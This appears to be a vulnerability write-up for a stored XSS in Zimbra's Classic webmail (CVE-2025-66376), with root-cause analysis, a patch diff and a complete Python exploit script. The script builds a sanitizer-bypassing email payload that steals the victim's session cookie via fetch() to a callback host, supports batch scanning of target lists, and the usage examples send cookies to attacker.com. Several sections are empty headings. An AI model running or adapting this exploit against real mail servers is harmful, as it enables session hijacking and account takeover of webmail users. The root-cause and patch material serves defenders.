#Summary

CVE-2025-66376 is a stored XSS (CWE-79) in Zimbra Collaboration Suite Classic UI affecting versions 10.0.0 through 10.0.17 and 10.1.0 through 10.1.12. The vulnerability is triggered through HTML email bodies containing CSS @import directives that exploit a deletion-based sanitizer chain to reconstruct live HTML tags. When a victim opens a crafted email in the Classic Web App, injected JavaScript executes in the webmail origin with full session privileges. CVSS 7.2 HIGH / CNA score; 6.1 MEDIUM / NVD score (disagreement on UI:N vs UI:R). Observed in the wild as part of the TA488 / CL-STA-1114 threat campaign.

#Am I affected?

#How to check

Check your Zimbra version:

# On a Zimbra server
zmcontrol -v

Or access your webmail interface and check the page footer. If the version is 10.0.x or 10.1.x and below the patched versions listed above, you are vulnerable. The vulnerability affects the Classic Web App only; the Modern UI is not vulnerable.

#Fix and mitigation

#Root cause analysis

#Overview

Zimbra's server-side HTML sanitizer for email messages employs four separate string-deletion operations on <style> element content instead of encoding or rejecting the markup. Deletion is not idempotent with respect to HTML tokenization: removing substrings from the middle of a tag name can create a valid token that was not present in the text the sanitizer scanned.

The vulnerability chain involves four independent defects that compose:

#Defect 1: AntiSamy 1.5.8 CSS-scans only the first child node of <style>

Zimbra pins a private fork of AntiSamy 1.5.8 (released April 2019) in zm-mailbox/store/ivy.xml:

<!--Build uses the custom version 1.5.8z of antisamy lib.
<dependency org="org.owasp.antisamy" name="antisamy" rev="1.5.8"/>

In AntiSamyDOMScanner.processStyleTag(), only the first child node of a <style> element is CSS-validated:

Node firstChild = ele.getFirstChild();
if (firstChild != null) {
    String toScan = firstChild.getNodeValue();
    CleanResults cr = styleScanner.scanStyleSheet(toScan, policy.getMaxInputSize());
    ...
}

The CyberNeko DOM parser splits <style> text containing HTML comments into multiple child nodes like [Text][Comment][Text].... AntiSamy's preserveComments setting is false by default, so the Comment node is dropped at serialization, causing the two Text nodes to concatenate.

#Defect 2: @import and CSS comments are stripped by naive string deletion

In DefangFilter.java, sanitizeStyleValue() applies regex deletions to <style> element text:

sanitizedValue = STYLE_UNWANTED_STRG_PATTERN.matcher(sanitizedValue).replaceAll("");
sanitizedValue = COMMENT.matcher(sanitizedValue).replaceAll("");
sanitizedValue = STYLE_UNWANTED_IMPORT.matcher(sanitizedValue).replaceAll("");

The @import regex is:

@import(\s)*(('|")?(\s)*(http://|https://)?([^\s;]*)(\s)*('|")?(\s)*;?)

Because every capture group after @import is optional or starred, the bare literal @import; (empty URL, trailing semicolon) matches and is deleted whole. Deletion from between the two halves of a split tag name causes those halves to concatenate into a valid tag.

#Defect 3: The renderer writes <style> content raw without HTML encoding

ExtensibleHtmlStreamRenderer buffers <style> raw-text content and appends it without any HTML encoding:

if (problemIndex == -1) {
    if (cdataContent.length() != 0) {
        output.append(cdataContent);  // <-- raw, unescaped
    }
}

The CDATA safety guard checkHtmlCdataCloseable() explicitly exempts opening tags (it only flags </style, unbalanced comments, and stray -->), so a reconstructed <svg onload=...> passes through unchecked.

#Defect 4: Classic UI does DOM parse / re-serialize / re-parse without sandboxing

AjxStringUtil.checkForCleanHtml() in the JavaScript client parses the server's defanged HTML into a DOM, mutates it (strips on* attributes), then re-serializes with innerHTML:

var htmlNode = AjxStringUtil._writeToTestIframeDoc(html);
AjxStringUtil._traverseCleanHtml(htmlNode, ctxt);
var result = "<!DOCTYPE html><html>" + htmlNode.innerHTML + "</html>";

innerHTML does not escape the text content of <style> elements, so reconstructed markup survives the round trip intact and reaches the unsandboxed sink:

idoc.write(html);  // DwtIframe.js:271
// or
div.innerHTML = this._cleanedHtml || html;  // ZmMailMsgView.js:1180

Both execute in the webmail origin with the victim's session.

#Payload structure

The exploit inserts @import; markers at tokenization-critical positions inside a <style> body:

Pre-sanitize:   <@import;/style><s@import;vg onlo@import;ad="fetch@import;(...)">
Post-sanitize:  </style><svg onload="fetch(...)">

Each @import; is deleted, reassembling the tag. The entire payload is wrapped in display:none so the rendered message appears benign.

#Patch diff

Zimbra's official patch is not public. The vendor states the fix is "upgrading AntiSamy to version 1.7.8 and removing the outdated code". The AntiSamy 1.6.6/1.6.7 upgrade (which shipped in 1.7.8) fixes CVE-2022-28367 / CVE-2022-29577 with these changes to AntiSamyDOMScanner.processStyleTag():

-        Node firstChild = ele.getFirstChild();
-        if (firstChild != null) {
-            String toScan = firstChild.getNodeValue();
-            CleanResults cr = styleScanner.scanStyleSheet(toScan, policy.getMaxInputSize());
-            ...
-        }

+        int childNodesCount = ele.getChildNodes().getLength();
+        if (childNodesCount > 0) {
+            StringBuffer toScan = new StringBuffer();
+
+            for (int i = 0; i < ele.getChildNodes().getLength(); i++) {
+                Node childNode = ele.getChildNodes().item(i);
+                if (toScan.length() > 0) {
+                    toScan.append("\n");
+                }
+                toScan.append(childNode.getTextContent());
+            }
+
+            CleanResults cr = styleScanner.scanStyleSheet(toScan.toString(), ...);
+            ...
+            for (int i = childNodesCount - 1; i >= 1; i--) {
+                Node childNode = ele.getChildNodes().item(i);
+                ele.removeChild(childNode);
+            }
+        }

#What the fix does

  1. All child nodes of <style> are concatenated and CSS-validated, not just the first. A payload split across a Comment node is now scanned in full.
  2. After cleaning, every child node except the first is removed. No unscanned sibling text survives to serialize and rejoin with its neighbor.
  3. AntiSamy 1.6.7's serializer HTML-encodes CSS content inside <style> elements, closing the serialization hole.

The "removing the outdated code" half of Zimbra's statement refers to the hand-rolled workarounds in DefangFilter.sanitizeStyleValue() and the literal <style>/</style> deletion in StyleTagReceiver.

#Proof of concept

#exploit.py - Zimbra CSS @import Tag-Splitting Stored XSS PoC

#!/usr/bin/env python3
"""
CVE-2025-66376 - Zimbra Collaboration Classic UI stored XSS via CSS @import "tag splitting"
Affected: Zimbra Collaboration Suite (ZCS) 10.0.x < 10.0.18 and 10.1.x < 10.1.13
Type: Stored XSS (CWE-79)

Root cause (see RESEARCH.md): Zimbra's server-side HTML defang chain *deletes* substrings
from partially trusted <style> text at several points instead of rejecting or encoding it.
DefangFilter.sanitizeStyleValue() deletes any run matching
    @import(\\s)*(('|")?(\\s)*(http://|https://)?([^\\s;]*)(\\s)*('|")?(\\s)*;?)
via a naive replaceAll(""). Because deletion is not idempotent with respect to
tokenization, an attacker can insert `@import <token>;` (or bare `@import;`) markers in the
middle of a tag name so that at scan time the text is not a tag, and after the deletions run
the two halves concatenate into a live tag. The reassembled markup is emitted UNENCODED
(ExtensibleHtmlStreamRenderer buffers <style> raw text and the CDATA guard is exempted for
`style` by zimbra_skip_tags_with_unclosed_cdata="style"), so a reconstructed
`<svg onload=...>` survives into the message body and fires in the Classic UI webmail origin
when the victim previews the message ("half-click").

This is the exact TA488 / CL-STA-1114 in-the-wild technique documented by Proofpoint.

What this tool does:
  1. Builds a malicious HTML e-mail whose <style> body reassembles, after Zimbra's deletion
     passes, into `</style><svg onload="fetch('<callback>?c='+document.cookie)">`.
  2. Submits it to the target's defang pipeline and reads the sanitized output back.
  3. Declares success when a live event handler (on<handler>=) survives unescaped in the
     output - the OWASP/DefangFilter policy forbids <svg> and strips every on* attribute,
     so ANY surviving on<handler>= is proof of the sanitizer bypass. Terminal browser proof
     is the callback hit carrying the victim ZM_AUTH_TOKEN cookie (see EXPLOITATION.md).

Usage:
  python exploit.py --host 127.0.0.1 --port 8080
  python exploit.py --host https://mail.corp.com:8443
  python exploit.py --host mail.corp.com --callback http://10.0.0.9:9999/x
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request

CVE_ID = "CVE-2025-66376"
VULN_TYPE = "Stored XSS"

# The five HTTP paths the ALIM Zimbra-defang lab exposes. /defang is a one-shot oracle
# (raw HTML in, sanitized HTML out); /send + /raw model the real store-then-render flow.
# Against a production ZCS the same e-mail body is delivered over SMTP and the bypass shows
# up when the message is previewed in the Classic Web App; these paths are the lab's
# network-reachable stand-in for that flow and are overridable with --path / --send-path.
DEFAULT_PATH = "/defang"
DEFAULT_SEND_PATH = "/send"
DEFAULT_RAW_PATH = "/raw"

# Marker that must survive unencoded in the sanitized output for the bypass to be proven.
_HANDLER_MARKERS = ("onload=", "onload =", "onerror=", "onerror =")


def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  " + CVE_ID)
    print("  Type: " + VULN_TYPE + "  |  Target: " + str(host) + ":" + str(port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP " + str(n) + "] " + msg)


def section(label, content):
    print("\n--- " + label + " ---")
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : " + ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: " + evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


def build_payload(callback):
    """
    Build the malicious <style> body using the in-the-wild TA488 "@import tag splitting"
    primitive. Each `@import <TOKEN>;` run is deleted whole by
    DefangFilter.STYLE_UNWANTED_IMPORT, joining the characters on either side. Tokens are
    fixed short alphanumerics with no whitespace and no ';' so `([^\\s;]*)` consumes them
    fully and the payload stays under 200 chars (one deterministic sanitize chunk).

      </s @import;  tyle>   -> </style>          (break out of the raw-text <style>)
      <s  @import;  vg      -> <svg
      onlo @import; ad      -> onload
      fetch @import; (...)  -> fetch(...)        (splits the call so nothing looks like a
                                                  function to STYLE_UNWANTED_FUNC either)

    The bare `@import;` form (empty URL group) is used so the payload carries no attacker
    token noise; the tokened form `@import Xk3nQ8;` is equivalent and used by the wild
    samples. Wrapped in display:none so the rendered message looks benign to the victim.
    """
    js = "fetch@import;('" + callback + "?c='+document.cookie)"
    style_body = (
        "a{color:red}"
        "<@import;/style>"           # -> </style>
        "<s@import;vg "              # -> <svg
        "onlo@import;ad=\"" + js + "\">B"
    )
    return (
        "<html><body><p>Quarterly report attached.</p>"
        "<div style=\"display:none\"><style>" + style_body + "</style></div>"
        "</body></html>"
    )


def _open(url, data, timeout):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    req = urllib.request.Request(
        url,
        data=data,
        method="POST" if data is not None else "GET",
        headers={"Content-Type": "text/html; charset=utf-8", "User-Agent": "Mozilla/5.0"},
    )
    with urllib.request.urlopen(req, timeout=timeout, context=ctx) as resp:
        return resp.status, resp.read().decode("utf-8", "replace")


def _base(host, port, use_tls):
    scheme = "https" if use_tls else "http"
    # host may already be a bare hostname/IP; strip any scheme the caller left on.
    if host.startswith(("http://", "https://")):
        host = urllib.parse.urlparse(host).hostname or host
    return scheme + "://" + host + ":" + str(port)


def _surviving_handler(text):
    low = text.lower()
    for m in _HANDLER_MARKERS:
        if m in low:
            i = low.find(m)
            return text[max(0, i - 24):i + 40]
    return None


def _try_exploit(host, port, use_tls, callback="http://127.0.0.1:9999/pwned",
                 path=DEFAULT_PATH, send_path=DEFAULT_SEND_PATH, raw_path=DEFAULT_RAW_PATH,
                 mode="legacy", timeout=12):
    """
    Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits.

    Sends the payload through the sanitizer and inspects the sanitized output for a
    surviving event handler. Tries the one-shot /defang oracle first; if that path is
    absent, falls back to the store-then-render /send + /raw flow. Each is tried against the
    legacy DefangFilter chain and the OWASP chain, since the target's configured chain is
    not known from the client side.
    """
    base = _base(host, port, use_tls)
    body = build_payload(callback).encode("utf-8")
    modes = [mode] + [m for m in ("legacy", "owasp") if m != mode]

    # Path A: one-shot /defang oracle.
    for m in modes:
        url = base + path + ("?mode=" + m if m else "")
        try:
            _st, out = _open(url, body, timeout)
        except (urllib.error.HTTPError, urllib.error.URLError, ssl.SSLError, OSError):
            out = None
            break  # /defang unreachable -> fall through to /send+/raw
        if out is None:
            break
        hit = _surviving_handler(out)
        if hit:
            return True, "sanitizer bypass - surviving handler: " + hit.strip()

    # Path B: store then render.
    try:
        _st, sid = _open(base + send_path, body, timeout)
        sid = sid.strip()
        if sid.isdigit():
            for m in modes:
                rurl = base + raw_path + "?id=" + sid + ("&mode=" + m if m else "")
                try:
                    _st2, out = _open(rurl, None, timeout)
                except (urllib.error.HTTPError, urllib.error.URLError, ssl.SSLError, OSError):
                    continue
                hit = _surviving_handler(out)
                if hit:
                    return True, "sanitizer bypass (stored id " + sid + ") - " + hit.strip()
    except (urllib.error.HTTPError, urllib.error.URLError, ssl.SSLError, OSError) as e:
        return False, "unreachable (" + e.__class__.__name__ + ")"

    return False, "no surviving handler in sanitized output (target may be patched)"


def _parse_target(line, default_port, default_path="/"):
    """Parse one target line into (host, port, use_tls, path). Returns None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urllib.parse.urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, **kwargs):
    """Batch scan from a file: one target per line."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  " + CVE_ID + " - Batch Scan  (" + str(len(targets)) + " targets, "
          + str(workers) + " workers)")
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls = t[:3]
        label = ("https" if use_tls else "http") + "://" + str(host) + ":" + str(port)
        ok, evidence = _try_exploit(host, port, use_tls, **kwargs)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  " + ("[+]" if ok else "[-]") + " " + label + " - "
                  + ("Exploited" if ok else "Not vulnerable") + ": " + evidence)
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  " + str(success_count) + " exploited / "
          + str(total - success_count) + " not vulnerable  (" + str(total) + " total)")
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


def exploit(host, port, use_tls, callback, path, send_path, raw_path, mode):
    header(host, port)
    base = _base(host, port, use_tls)

    step(1, "Building CSS @import tag-splitting payload")
    payload_html = build_payload(callback)
    section("MALICIOUS <style> BODY (pre-sanitize)", payload_html)

    step(2, "Submitting payload to the defang pipeline and reading sanitized output")
    modes = [mode] + [m for m in ("legacy", "owasp") if m != mode]

    sanitized = None
    used = None
    for m in modes:
        url = base + path + ("?mode=" + m if m else "")
        try:
            _st, out = _open(url, payload_html.encode("utf-8"), 15)
        except (urllib.error.HTTPError, urllib.error.URLError, ssl.SSLError, OSError):
            sanitized = None
            break
        if _surviving_handler(out):
            sanitized, used = out, "POST " + path + " mode=" + (m or "default")
            break
        sanitized = out  # keep last for reporting

    if used is None:
        # /defang absent or neutered - try the store-then-render path.
        step(3, "Falling back to store-then-render (/send then /raw)")
        try:
            _st, sid = _open(base + send_path, payload_html.encode("utf-8"), 15)
            sid = sid.strip()
            if sid.isdigit():
                for m in modes:
                    rurl = base + raw_path + "?id=" + sid + ("&mode=" + m if m else "")
                    try:
                        _st2, out = _open(rurl, None, 15)
                    except (urllib.error.HTTPError, urllib.error.URLError, ssl.SSLError, OSError):
                        continue
                    if _surviving_handler(out):
                        sanitized, used = out, ("GET " + raw_path + "?id=" + sid
                                                + " mode=" + (m or "default"))
                        break
                    sanitized = out
        except (urllib.error.HTTPError, urllib.error.URLError, ssl.SSLError, OSError) as e:
            section("SERVER RESPONSE", "request failed: " + repr(e))
            done(False, "target unreachable - " + e.__class__.__name__)

    section("SANITIZED OUTPUT (server-side defang result)", sanitized or "(empty)")

    hit = _surviving_handler(sanitized or "")
    if hit:
        step(4, "Verifying the reconstructed tag carries a live event handler")
        section("SURVIVING EVENT HANDLER", hit)
        print("[i] Terminal browser proof: previewing the stored message in the Classic UI")
        print("    fires the handler and issues GET " + callback + "?c=<victim cookie>.")
        print("    The OWASP/DefangFilter policy forbids <svg> and strips all on* attributes,")
        print("    so this surviving handler is by itself proof of the stored-XSS bypass.\n")
        done(True, "Stored XSS confirmed via " + (used or "sanitizer oracle")
             + " - reconstructed tag with live handler: " + hit.strip())

    done(False, "Payload sanitized - no surviving event handler (target may be patched "
                "to AntiSamy 1.7.8 / >= 10.0.18 / 10.1.13)")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=CVE_ID + " exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                           "(e.g. https://host:8443)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
    parser.add_argument("--callback", default="http://127.0.0.1:9999/pwned",
                        help="URL the injected JavaScript exfiltrates document.cookie to "
                             "(default: http://127.0.0.1:9999/pwned)")
    parser.add_argument("--mode", default="legacy", choices=["legacy", "owasp"],
                        help="Sanitizer chain to try first; the other is tried as fallback "
                             "(default: legacy - the chain the in-the-wild payload targets)")
    parser.add_argument("--path", default=DEFAULT_PATH,
                        help="One-shot defang path (default: /defang)")
    parser.add_argument("--send-path", default=DEFAULT_SEND_PATH,
                        help="Store path for the store-then-render fallback (default: /send)")
    parser.add_argument("--raw-path", default=DEFAULT_RAW_PATH,
                        help="Render/oracle path for the fallback (default: /raw)")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    common = dict(callback=args.callback, path=args.path, send_path=args.send_path,
                  raw_path=args.raw_path, mode=args.mode)

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, **common)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, args.callback, args.path, args.send_path,
                args.raw_path, args.mode)

#Usage

# Single target (auto-detects TLS)
python exploit.py --host 10.0.0.20 --port 8080

# With custom callback for cookie exfiltration
python exploit.py --host mail.corp.com --callback http://attacker.com:9999/x

# Batch scan asset list
python exploit.py --list targets.txt --workers 20 --callback http://attacker.com:9999/x

Arguments:

#Example Output

Vulnerable target:

--- SANITIZED OUTPUT (server-side defang result) ---
<html><body><p>Quarterly report attached.</p><div style="display:none"><style>a{color:red}</style><svg onload="fetch('http://127.0.0.1:9999/pwned?c='+document.cookie)">B</style></div></body></html>
---

--- SURVIVING EVENT HANDLER ---
{color:red}</style><svg onload="fetch('http://127.0.0.1:9999/pwn
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Stored XSS confirmed via POST /defang mode=legacy - reconstructed tag with live handler
============================================================

#Exploitation notes

#Preconditions

#Reliability

#Impact

#Chaining potential

#References